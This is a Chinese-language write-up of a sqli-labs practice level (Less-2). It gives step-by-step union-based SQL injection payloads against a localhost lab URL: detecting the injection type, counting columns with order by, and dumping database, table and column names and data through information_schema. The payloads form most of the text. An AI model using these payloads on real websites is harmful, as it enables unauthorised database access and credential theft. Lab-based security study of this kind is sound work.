學會了第一關,時隔多天來到了第二關,怎麼說了沒有看wp就給做出來了。
首先,我是自己先判斷了下,這個是什麼注入
?id=1' 不行
?id=1' or '1'='1--+ 也不行
然後又嘗試了下
?id=1 and 1=1 頁面顯示正常
?id=1 and 1=2 頁面又錯誤回顯
然後這就是數字注入了
於是我們去查庫,跟第一關的思路是一樣的。然後就爆出了庫。如果不懂的可以點這個連結。
https://www.cnblogs.com/junlebao/p/13758919.html
sql注入一般步驟:
第一步:通過特殊的資料庫查詢語句
第二步:在資料庫的錯誤返回中找到sql漏洞
第三步:利用sql語句猜解管理人員資訊並登入管理員後臺
判斷注入型別
數字型注入
1. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1'時,因為有一個多餘的"單引號"使查詢語句錯誤
2. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1時,沒有報錯
3. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2時,由於1=2不成立,也會報錯
滿足這三個,基本上就是數字注入了
字元型注入
1. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1'時,資料庫認為id叫做1'。查詢之後發現沒有這個id而返回錯誤。(在字元型注入中,需要考慮引號的閉合)
2. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1' and '1'='1 在'1'='1之後沒有加上'是因為傳參時輸入的內容已經被' '包圍。
後臺查詢列數
使用order by試出資料庫列數
url為 http://127.0.0.1/sqli-labs/Less-2/?id=1' order by 數字 (如果試4時有錯誤,3時正確,那麼列數為3)
找顯示位
使用union select找出會返回客戶端並顯示的列。如果有3列時,應該這麼寫
url為 http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,3
加入顯示位是3,這就意味著資料庫開放了5個“視窗”用來顯示內容,用查詢到的資料,在這些視窗顯示資料
查庫名
聯合查詢:select database();
下面是檢視資料庫的版本和資料庫資訊
假如顯示位是3,http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,version,database()
查表名
找到庫名以後,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,table_name from information_schema.tables where table_schema='庫名' (如果庫名是字元型,此處庫名要轉成十六進位制)
information_schema:
這是一個mysql自帶的庫,其中儲存著關於mysql伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表列的資料型別與訪問許可權等,所以我們查詢這個庫
查列名
找到表之後,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,column_name from information_schema.columns where table_name='表名' (如果表名是字元型,此處庫名要轉成十六進位制)
如果表數或列數過多,可以在最後使用limit加上limit 0,5相當於檢索1-5條資訊
查具體資料
找到列之後,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,group_concat("要查詢的資料") from 表名